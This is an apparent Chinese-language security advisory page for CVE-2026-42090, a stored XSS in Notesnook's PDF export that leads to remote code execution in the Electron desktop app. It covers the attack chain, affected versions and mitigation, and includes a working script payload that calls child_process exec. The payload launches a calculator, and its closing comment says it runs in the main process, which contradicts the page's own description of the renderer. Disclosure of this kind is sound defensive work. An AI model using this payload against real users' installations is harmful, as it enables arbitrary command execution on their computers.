IPBUF安全漏洞报告
English
CVE-2026-42090 CVSS 9.6 严重

CVE-2026-42090 Notesnook 存储型XSS致远程代码执行漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42090
漏洞类型
存储型XSS, 远程代码执行
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Notesnook

相关标签

XSSRCENotesnookElectronCVSS-9.6

漏洞概述

Notesnook Web/Desktop 3.3.15及iOS/Android 3.3.20之前版本存在严重的存储型XSS漏洞。由于导出笔记时未对标题、标题头和内容进行HTML转义,攻击者可注入恶意脚本。当用户导出笔记为PDF时,脚本在无沙箱的同源iframe中执行。在桌面应用中,结合Electron的不安全配置,该漏洞可进一步升级为远程代码执行,严重威胁用户系统安全。

技术细节

该漏洞的根本原因在于Notesnook的笔记导出功能对用户输入缺乏严格的HTML转义处理。当笔记被导出为PDF时,系统会将标题、标题头和内容直接插入到预生成的HTML模板中。渲染过程使用了iframe.srcdoc属性,且该iframe未设置沙箱,导致其在Notesnook的同源上下文中运行。最关键的安全隐患在于桌面版应用的Electron配置。由于开启了nodeIntegration: true并禁用了contextIsolation,注入的JavaScript代码不仅拥有网页的上下文权限,还能直接访问Node.js环境。这意味着攻击者通过构造特定的XSS Payload,可以利用Node.js的child_process等模块执行任意系统命令,从而实现从跨站脚本攻击到远程代码执行的跨越,完全控制受害者的主机。

攻击链分析

STEP 1
注入
攻击者创建一个新的笔记,在标题、标题头或正文中插入包含恶意JavaScript代码的HTML标签(如<script>或<img onerror=...>)。
STEP 2
存储
包含恶意Payload的笔记被保存到Notesnook的数据库中,形成存储型XSS。
STEP 3
触发
用户在桌面版Notesnook应用中打开该笔记,并点击“导出为PDF”功能。
STEP 4
渲染
应用生成HTML用于PDF导出,未经过滤的用户输入被直接插入模板,并通过iframe.srcdoc在无沙箱的同源iframe中渲染。
STEP 5
执行
恶意脚本在Electron渲染进程中执行,由于配置了nodeIntegration: true和contextIsolation: false,脚本获取Node.js权限并执行任意系统命令(RCE)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Proof of Concept: Stored XSS to RCE in Notesnook Desktop --> <!-- 1. Create a note and set the title or content to the following payload: --> <script> // Exploit logic leveraging Electron nodeIntegration const { exec } = require('child_process'); // Example: Execute 'calc.exe' on Windows or 'open -a Calculator' on macOS exec('calc.exe', (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`RCE Successful: ${stdout}`); }); </script> <!-- 2. Save the note. --> <!-- 3. Click 'Export to PDF' in the desktop application. --> <!-- 4. The script executes within the Electron main process context. -->

影响范围

Notesnook Web/Desktop < 3.3.15
Notesnook iOS/Android < 3.3.20

防御指南

临时缓解措施
建议立即更新至修复版本。在无法立即更新的情况下,用户应避免打开来源不明的共享笔记,并暂时不要使用桌面版的PDF导出功能,以防触发恶意代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表